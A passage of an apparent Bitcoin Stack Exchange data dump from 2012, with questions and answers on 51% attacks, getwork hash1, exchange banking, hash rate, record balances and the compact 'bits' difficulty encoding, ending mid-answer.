LastEditorUserId="5406" LastEditDate="2015-06-09T23:10:44.457" LastActivityDate="2015-06-09T23:10:44.457" Title="Why would you need to &quot;catch up&quot; in the 51% attack?" Tags="|security|majority-attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2904" PostTypeId="2" ParentId="2903" CreationDate="2012-02-10T23:36:08.013" Score="4" Body="&lt;p&gt;The &quot;catching up&quot; is more a product of the theoretical scenarios posed than the technicals of the 51% attack itself. The typical scenario posed for a 51% attack is that the attacker has already spent coins and would like to reverse that transaction. In this scenario it makes sense that the attacker must start at least at the block before his/her transaction, meaning they must catch up with the network, hence the necessity of controlling at least 51% of total hash power - any less and they'll never catch up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone weren't trying to reverse a transaction but rather wanted to double spend coins that hadn't yet been spent at all, they wouldn't need 51% of the network to do so; a Finney attack would suffice, hence scenarios in which the coins have not yet been spent tend to be considered for this attack vector instead.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-02-10T23:36:08.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2905" PostTypeId="2" ParentId="2903" CreationDate="2012-02-11T00:20:23.467" Score="5" Body="&lt;p&gt;You're exactly right; there's no need to catch up if you don't start off behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I get 51% of the network's hashing power, I start building my fork in private, then buy something on the 'real' fork and allow the purchase to get as many confirmations as it needs.  It will be a lot, because I'll be buying something really expensive.  I take care not to include my transaction in the private fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, once the goods are shipped I publish my secret fork and get my coins back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#The_.22Finney.22_attack&quot; rel=&quot;noreferrer&quot;&gt;Finney attack&lt;/a&gt; is only good for double spending when the recipient accepts unconfirmed transactions.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-11T00:20:23.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2906" PostTypeId="1" AcceptedAnswerId="2907" CreationDate="2012-02-11T01:59:49.223" Score="5" ViewCount="1090" Body="&lt;p&gt;(I know the hash1 and midstate are eventually going to be deprecated, but I'm a little curious about them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Getwork there is a field hash1. From a sample call to bitcoind I received its value as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'hash1': '00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How exactly is hash1's value calculated?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-02-11T19:30:25.273" Title="In Getwork, how does one calculate the value of Hash1?" Tags="|protocol|hash|getwork|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2907" PostTypeId="2" ParentId="2906" CreationDate="2012-02-11T02:43:17.920" Score="6" Body="&lt;p&gt;hash1 is a uint256 zero, padded to a multiple of 64 bytes by FormatHashBlocks() in main.cpp, and then reversed in 4 byte chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FormatHashBlocks() puts a 0x80 right after the 32 zero bytes, and a 4 byte bit count at the end (00 00 01 00, meaning 256 bits).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the uint256 zero is:&#xA;0000000000000000 0000000000000000 0000000000000000 0000000000000000&#xA;&#xA;it's padded to 64 bytes:&#xA;0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000&#xA;                                                                    ^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^&#xA;has the 80 in the first byte of padding:&#xA;0000000000000000 0000000000000000 0000000000000000 0000000000000000 8000000000000000 0000000000000000 0000000000000000 0000000000000000&#xA;                                                                    ^^&#xA;and the length at the end:&#xA;0000000000000000 0000000000000000 0000000000000000 0000000000000000 8000000000000000 0000000000000000 0000000000000000 0000000000000100&#xA;                                                                                                                               ^^^^^^^^&#xA;and then has each group of 4 bytes reversed: 12 34 56 78 -&amp;gt; 78 56 34 12&#xA;0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000008000000000 0000000000000000 0000000000000000 0000000000010000&#xA;                                                                    ^^^^^^^^                                                   ^^^^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A better question might be &quot;why is hash1's value calculated like this&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't ask, but the &lt;code&gt;data&lt;/code&gt; field returned by &lt;code&gt;getwork&lt;/code&gt; is formatted the same way.  Instead of a uint256 zero though, the input is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;version (4 bytes)&lt;/li&gt;&#xA;&lt;li&gt;previous block's hash (32 bytes)&lt;/li&gt;&#xA;&lt;li&gt;merkle root (32 bytes)&lt;/li&gt;&#xA;&lt;li&gt;time (4 bytes)&lt;/li&gt;&#xA;&lt;li&gt;bits (related to difficulty) (4 bytes)&lt;/li&gt;&#xA;&lt;li&gt;nonce (4 bytes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's a total of 80 bytes, which is padded to 128 bytes by FormatHashBlocks().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000001 (version)&#xA;0863bcb701d52fea 0e0c7b0d4696d7e7 8feb125a84e0911b 0000043e00000000 (prev hash)&#xA;bc656fe91e44907c 32d1704f900bd7a6 c2fa06386174477f a8b145addebc8d00 (merkle root)&#xA;4f35dde3 (time)&#xA;1a0c290b (bits)&#xA;00000000 (nonce)&#xA;0000008000000000 0000000000000000 0000000000000000 } (padding)&#xA;0000000000000000 0000000000000000 0000000080020000 } (80 bytes = 640 bits = 0x280)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-11T19:30:25.273" LastActivityDate="2012-02-11T19:30:25.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2909" PostTypeId="1" CreationDate="2012-02-11T14:34:27.497" Score="10" ViewCount="2261" Body="&lt;p&gt;Since their previous France and UK accounts were closed, both Mt. Gox and Intersango set up accounts in Poland.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific reason why they chose Poland?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-11-20T14:51:29.320" Title="Why do both Mt. Gox and Intersango use Polish banks?" Tags="|mtgox|banks|intersango|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2910" PostTypeId="2" ParentId="2909" CreationDate="2012-02-11T15:52:08.180" Score="5" Body="&lt;p&gt;As for Mt. Gox, they got their polish account when they bought up bitomat.pl, after it lost its private keys. They continue to support accounts from that other website, so they allow easy money transfers to that account (although it takes them a couple days to credit the account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Intersango, I presume they might want to cater to that part of the market (bitomat was dealing solely in PLN and it was the third largest Bitcoin exchange at a time). It could also be related to the fact that poles often work in UK (where the exchange is located) and transfer their money back to Poland - wire transfers between countries are quite expensive, while sending Bitcoins is cheap.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-02-11T15:52:08.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2911" PostTypeId="2" ParentId="2909" CreationDate="2012-02-11T19:39:16.650" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoinconsultancy.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Consultancy&lt;/a&gt; which operate the Intersango exchange was &lt;a href=&quot;http://forum.bitcoin.pl/intersango-com-t1969.html#p24186&quot; rel=&quot;nofollow&quot;&gt;based out of Warsaw&lt;/a&gt;, Poland for many months and &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt; &lt;a href=&quot;https://mtgox.com/press_release_20110811.html&quot; rel=&quot;nofollow&quot;&gt;acquired Bitomat.pl&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-11T19:39:16.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2913" PostTypeId="1" CreationDate="2012-02-11T21:49:19.380" Score="4" ViewCount="225" Body="&lt;p&gt;Bitcoin writes to some log files (bitcoin/*.log and bitcoin/database/log.nnnnnn )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these (and everything else other than wallet.dat) clear of any information that would allow a forensic investigation to determine which addresses a bitcoin installation had sent or received?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reworded question from:&#xA; - &lt;a href=&quot;http://bitcointalk.org/index.php?topic=63488.msg743339#msg743339&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=63488.msg743339#msg743339&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-08T13:36:01.890" Title="Are there any transaction-related artifacts left in the database?" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2914" PostTypeId="1" CreationDate="2012-02-12T02:42:35.653" Score="6" ViewCount="3986" Body="&lt;p&gt;I am trying to get Bitcoin up and running on a fairly underpowered laptop and Windows Vista using &lt;code&gt;Bitcoin-Qt 0.5.0.1&lt;/code&gt;. After installing and starting the program, I am stuck at at the syncing stage at 92150 blocks and 0%, and have been for several hours. What could I try to get the program working?&lt;/p&gt;&#xA;" OwnerUserId="1056" LastEditorUserId="5406" LastEditDate="2015-08-20T10:19:48.580" LastActivityDate="2015-08-20T10:47:44.530" Title="Why does the initial blockchain download get stuck part way through?" Tags="|blockchain|bitcoin-core|synchronization|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2917" PostTypeId="1" AcceptedAnswerId="2918" CreationDate="2012-02-12T17:37:38.387" Score="8" ViewCount="2279" Body="&lt;p&gt;How fast is the Bitcoin mining network compared to other distributed computing networks? ;)&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="5406" LastEditDate="2016-03-15T09:30:10.287" LastActivityDate="2019-01-17T14:11:01.730" Title="How fast is the Bitcoin (mining) network?" Tags="|network|hashpower|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2918" PostTypeId="2" ParentId="2917" CreationDate="2012-02-12T19:06:27.970" Score="6" Body="&lt;p&gt;According to &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Charts&lt;/a&gt;, it is equivalent to 127.25 PetaFLOPS currently. This would make it faster than 500 fastest supercomputers in the world (58.9 PetaFLOPS), or Folding@home (4.1 petaFLOPS)&lt;a href=&quot;http://en.wikipedia.org/wiki/FLOPS#Records&quot; rel=&quot;nofollow noreferrer&quot;&gt; [reference]&lt;/a&gt;. However, this is only &lt;em&gt;equivalent&lt;/em&gt; computation speed, if you would measure actual amount of FLOPS of Bitcoin mining it would be... 0, as Bitcoin does not use floating point operations. Moreover, I'm not exactly sure how Bitcoin Charts computed that figure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, objective measure of how fast Bitcoin is in computational sense, would be it's current hashrate - 9.738 Thash/s. At peak rate it was &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow noreferrer&quot;&gt;estimated to be over 15Thash/s&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, one might also be interested in the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1557/speed-of-operations-in-the-bitcoin-network&quot;&gt;speed of propagation of blocks in Bitcoin network&lt;/a&gt;, which is estimated to be close to 2 seconds.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-02-12T19:06:27.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2919" PostTypeId="2" ParentId="2917" CreationDate="2012-02-12T23:05:55.303" Score="2" Body="&lt;p&gt;The Bitcoin network is made up of lots of different types of hardware.  The only thing we know for sure is how quickly it can solve blocks by running the sha256 hashing algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty is calculated every 2016 blocks (2016 blocks is 6 blocks per hour * 24 hours per day * 14 days, so approximately every 2 weeks) in an attempt to keep the average block generation time being 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that, we can calculate the hash rate in Thash/s over the last set of 2016 blocks.  At difficulty 1, an average of &lt;code&gt;2^32&lt;/code&gt; hashes need to be calculated to solve a block.  This increases linearly with difficulty.  So we can use the following command to look up the current difficulty and use it to calculate the approximate hash rate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python -c &quot;print $(bitcoind getmininginfo | grep difficulty | sed 's/.*: \(.*\),/\1/') * pow(2,32) / 600 / 1e12&quot;&#xA;9.87590105239&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/6950bb6200cb71d0a1932e80c3aa563391fe6627&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bitcoind getmininginfo&lt;/code&gt;&lt;/a&gt; is a new RPC call which is available in the current git HEAD, and will be in the next release of the official Bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-12T23:05:55.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2920" PostTypeId="2" ParentId="2914" CreationDate="2012-02-12T23:57:58.187" Score="3" Body="&lt;p&gt;Restart OS, restart Bitcoin, try forwarding port 8333 on your router to your machine.  If there is no progress after that, you might consider deleting all the files in your &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;Bitcoin data folder&lt;/a&gt; &lt;strong&gt;except wallet.dat&lt;/strong&gt; (if you have made any transactions, deleting &lt;code&gt;wallet.dat&lt;/code&gt; will make you lose your Bitcoins). If you just want to use Bitcoins casually, or don't want to wait for the client to sync, you can consider using an &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:EWallets&quot; rel=&quot;nofollow&quot;&gt;eWallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2015-08-20T10:47:44.530" LastActivityDate="2015-08-20T10:47:44.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2921" PostTypeId="2" ParentId="1524" CreationDate="2012-02-13T08:25:53.237" Score="6" Body="&lt;p&gt;Here's a complete list of 'record setting' address balances over time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   date        block  transaction       balance                    address&#xA;-----------   ------  -----------   ---------------   ----------------------------------&#xA;Jan 03 2009        0   4a5e1e4b:0       50.00000000   1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&#xA;Jan 14 2009      496   a3b0e9e7:0       61.00000000   1BBz9Z15YpELQ4QP5sEKb1SwxkcmPb5TMs&#xA;Jan 15 2009      586   4d6edbeb:0      250.00000000   19QKDUJtx9n7Vaga6nX1bVHdsnT4Khfyi6&#xA;Jan 19 2009     1055   8897ea9c:0      500.00000000   15oUEZFKAC8E8BTLt1s1jx4fPxumwB3ecr&#xA;Jan 22 2009     1296   59bf8acb:0      875.00000000   12higDjoCCNXSA95xZMWUdPvXNmkAduhWv&#xA;                              [36 records omitted for 12higDjoCCNXSA95xZMWUdPvXNmkAduhWv]&#xA;Jan 15 2010    34887   ffcea1e6:0    72374.36000000   12higDjoCCNXSA95xZMWUdPvXNmkAduhWv&#xA;Oct 02 2010    83231   689f1772:0   110001.00000000   1LUPDXYf9XD9Ee1AqCuM3gZCA3ZMKgTcgw&#xA;Oct 02 2010    83240   0ee1f4e6:1   120001.00000000   1NJWs6g6hQsgxqtpRxXLhZJwHYhH2P2bvx&#xA;Oct 02 2010    83243   31b00090:0   122001.00000000   1NJWs6g6hQsgxqtpRxXLhZJwHYhH2P2bvx&#xA;Jan 27 2011   104770   8f821069:0   400000.00000000   1AYtnRppWM7tWQaVLpm7TvcHKrjKxgCRvX&#xA;Jun 12 2011   130281   a09ac44c:1   432109.87654321   1KLahQtqDNAXvrjNyfvgSBtAhwco5ZxLp4&#xA;Jul 18 2011   136856,  e4762860:1   434242.43424242   1eHhgW6vquBYhwMPhQ668HPjxTtpvZGPC&#xA;                              [36 records omitted for 1eHhgW6vquBYhwMPhQ668HPjxTtpvZGPC]&#xA;Jul 18 2011   136870   b96a37e4:1   474320.43424242   1eHhgW6vquBYhwMPhQ668HPjxTtpvZGPC&#xA;Nov 16 2011   153509   29a3efd3:1   500000.00000000   1M8s2S5bgAzSSzVTeL7zruvMPLvzSkEAuv&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this shows for record setting transaction sizes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   date        block   transaction       amount&#xA;-----------   ------   -----------   ---------------&#xA;Jan 03 2009        0     4a5e1e4b        50.00000000&#xA;Jan 14 2009      496     a3b0e9e7        61.00000000&#xA;Jan 15 2009      586     4d6edbeb       250.00000000&#xA;Jan 19 2009     1055     8897ea9c       500.00000000&#xA;Jan 26 2009     1945     5559270f      1000.00000000&#xA;Feb 09 2009     3645     cec658ac      2200.00000000&#xA;Mar 16 2009     7677     e6f00fa6      2400.00000000&#xA;Apr 20 2009    11666     eebd343e      3500.00000000&#xA;Jul 20 2009    19863     123a3968      6049.53000000&#xA;Oct 16 2009    25095     4aa98b18      9700.00000000&#xA;Oct 22 2009    25618     1aae9d58     11950.00000000&#xA;Oct 24 2009    25788     5d793270     12250.00000000&#xA;Oct 27 2009    25969     3cd9410f     13000.00000000&#xA;Nov 04 2009    26402     6029e51c     15500.00000000&#xA;Nov 19 2009    27525     f2e5fdd3     21850.00000000&#xA;Nov 19 2009    27528     67fc73c7     22500.00000000&#xA;Mar 06 2010    44006     23709241     23247.39000000&#xA;Jul 12 2010    65566     ba62e528     35000.00000000&#xA;Jul 26 2010    70527     b9d69463     46753.13000000&#xA;Jul 28 2010    70870     73ac0fdc     50000.00000000&#xA;Nov 04 2010    89583     3bc57f90     50000.01000000&#xA;Nov 06 2010    90003     70dab592     55000.00000000&#xA;Nov 08 2010    90505     1ec28eee     96999.00000000&#xA;Jan 27 2011   104770     8f821069    400000.00000000&#xA;Jun 12 2011   130281     a09ac44c    432109.88745232&#xA;Jun 23 2011   132749     3a1b9e33    442000.00000000&#xA;Nov 16 2011   153509     29a3efd3    550000.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So both the biggest balance and the biggest transaction are in block 153509.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction is 10% bigger than necessary due to some sub-optimal &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/a14bf1946dfade7c615cd41924c7cd41abdbc119&quot; rel=&quot;nofollow noreferrer&quot;&gt;coin selection code&lt;/a&gt; in the default client.  It makes sure, when using a set of different coins to make up the transaction inputs, that the selected coins total at least one cent more than the transferred amount.  This is an attempt to prevent sub-cent change which would trigger transaction fees.  However, in some cases there is no need for any change at all.  In this case the 'spare change' it allocated was a 50k BTC coin.  I've since &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/892&quot; rel=&quot;nofollow noreferrer&quot;&gt;submitted a fix&lt;/a&gt; for this issue.  This 500k coin and its subsequent movements caused the spike in global Bitcoin transaction volume referred to in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2879/659&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data is accurate as of February 9th 2012.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-02-24T22:41:24.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2922" PostTypeId="2" ParentId="1364" CreationDate="2012-02-13T11:18:17.080" Score="2" Body="&lt;p&gt;Using a selective JavaScript blocker is basic good practice from a system security point of view, and will prevent websites from using your CPU to mine for bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;http://noscript.net/&quot; rel=&quot;nofollow&quot;&gt;NoScript&lt;/a&gt; &lt;a href=&quot;http://www.mozilla.com/firefox/&quot; rel=&quot;nofollow&quot;&gt;Firefox&lt;/a&gt; extension allows you to disable JavaScript on a per-site or per-page basis.  I like to set it to default to denying JavaScript on every page, and then add an exception for each page on which I want to allow JavaScript to run.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're using &lt;a href=&quot;https://www.google.com/chrome&quot; rel=&quot;nofollow&quot;&gt;Chromium&lt;/a&gt; or &lt;a href=&quot;http://www.chromium.org/&quot; rel=&quot;nofollow&quot;&gt;Chrome&lt;/a&gt; then there's a built in Javascript blocker.  Go to the 'wrench' menu, select &quot;Preferences&quot;, then &quot;Under the bonnet&quot; (or 'hood' if you speak American?) then click &quot;Content Settings&quot; in the &quot;Privacy&quot; section and select &quot;Do not allow any site to run JavaScript&quot;.  Then whenever you're on a site which needs JavaScript to run, you'll see a red X at the right hand end of the address bar which you can click to allow JavaScript on just that site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're using Internet Explorer you're probably not too concerned about what random strangers run on your computer.  Enjoy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-13T11:30:23.587" LastActivityDate="2012-02-13T11:30:23.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2923" PostTypeId="2" ParentId="478" CreationDate="2012-02-14T16:05:19.207" Score="8" Body="&lt;p&gt;If you want to use the standard client, currently there is no way to prune the blockchain data. However, you can try using a lightweight client (like &lt;a href=&quot;http://multibit.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MultiBit&lt;/a&gt; or &lt;a href=&quot;http://ecdsa.org/electrum/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt;), which offers similar security to the standard client (wallet.dat is stored on your computer), or an eWallet (like &lt;a href=&quot;https://strongcoin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;StrongCoin&lt;/a&gt;, or even using &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MtGox&lt;/a&gt; if you don't need too much functionality), but then you have to trust that service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first two would reduce the disk space on your machine, but you'd still need to synchronize with the network; the second two would make you store nothing on computer and you would not need to synchronize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is work being done on a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55842.180&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Stratum client&quot;&lt;/a&gt;, which might offer the speed and minimal disk requirements of an eWallet with security of a lightweight client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about various levels of security provided by different types of clients &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2613/how-secure-are-various-models-of-bitcoin-clients&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-02-14T18:52:48.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2924" PostTypeId="1" AcceptedAnswerId="2926" CreationDate="2012-02-14T23:36:26.567" Score="17" ViewCount="8509" Body="&lt;p&gt;Every 2016 blocks one needs to calculate new &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot;&gt;bits&lt;/a&gt; value. What is the formula to calculate it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2023-08-15T19:46:45.673" Title="How to calculate new &quot;bits&quot; value?" Tags="|protocol|development|block|difficulty|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2925" PostTypeId="1" AcceptedAnswerId="2928" CreationDate="2012-02-15T06:09:08.760" Score="3" ViewCount="1810" Body="&lt;p&gt;In a getwork request, bitcoind sends a target corresponding to the current block's bits value. Do the major pools send the same target as one would expect from bitcoind, difficulty of &quot;1&quot; target, or perhaps something else?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-17T19:28:00.583" Title="Pool getwork &quot;target&quot;?" Tags="|protocol|mining-pools|bitcoind|getwork|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2926" PostTypeId="2" ParentId="2924" CreationDate="2012-02-15T06:18:39.663" Score="27" Body="&lt;h2&gt;What does the &lt;code&gt;bits&lt;/code&gt; field represent?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all, we need to understand what the 'bits' field means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bits is in 'compact' format.  This is kind of like a floating point format, but it represents big integers rather than arbitrary real numbers.  The first byte indicates the number of bytes the represented number takes up, and the next one to three bytes give the most significant digits of the number.  If the 2nd byte has a value greater than 127 then the number is interpreted as being negative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert a positive integer to 'compact' format, we:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;convert the integer into base 256.&lt;/li&gt;&#xA;&lt;li&gt;if the first (most significant) digit is greater than 127 (0x7f), prepend a zero digit&lt;/li&gt;&#xA;&lt;li&gt;the first byte of the 'compact' format is the number of digits in the above base 256 representation, including the prepended zero if it's present&lt;/li&gt;&#xA;&lt;li&gt;the following three bytes are the first three digits of the above representation.  If less than three digits are present, then one or more of the last bytes of the compact representation will be zero.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Example 1 - Convert 1000 to 'compact' format&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For example, to represent 1000 in 'compact' format, we convert to base 256:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1000 = (0x03)*256 + (0xe8)*1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we have a 2 digit base 256 number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03 e8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first digit is not greater than 0x7f, so we don't prepend a zero digit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03 e8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the compact representation becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 03 e8 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Example 2 - Convert max target to 'compact' format&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The minimum difficulty has a target of 2^(256-32)-1.  Let's represent that in 'compact' format.  First we convert it to base 256:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's 28 0xff digits.  The first digit is greater than 0x7f, so we prepend a zero digit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it's 29 digits long.  hex(29) = 0x1d.  So the 'compact' representation of this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1d 00 ff ff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice we've lost a lot of 'ff' digits there.  We've only kept 2 bytes of precision, what with the size byte and the prepended zero byte using up two of the four available bytes.  If we were to convert back from 'compact' format to see what number we've actually stored, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is in fact the maximum target used by Bitcoin.  This is what a difficulty of 1 sets the block hash target to be.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How is the value of the &lt;code&gt;bits&lt;/code&gt; field calculated?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now that we know what the &lt;code&gt;bits&lt;/code&gt; field means, we can look at how its value is decided.  In the official client, the &lt;code&gt;bits&lt;/code&gt; value is calculated by function &lt;code&gt;GetNextWorkRequired()&lt;/code&gt; in &lt;code&gt;src/main.cpp&lt;/code&gt;, which does the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if we're working on a block that's a multiple of 2016 (every 2 weeks)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;look at the timestamps on the last block, and the block 2015 blocks before it&lt;/li&gt;&#xA;&lt;li&gt;calculate the difference in these two 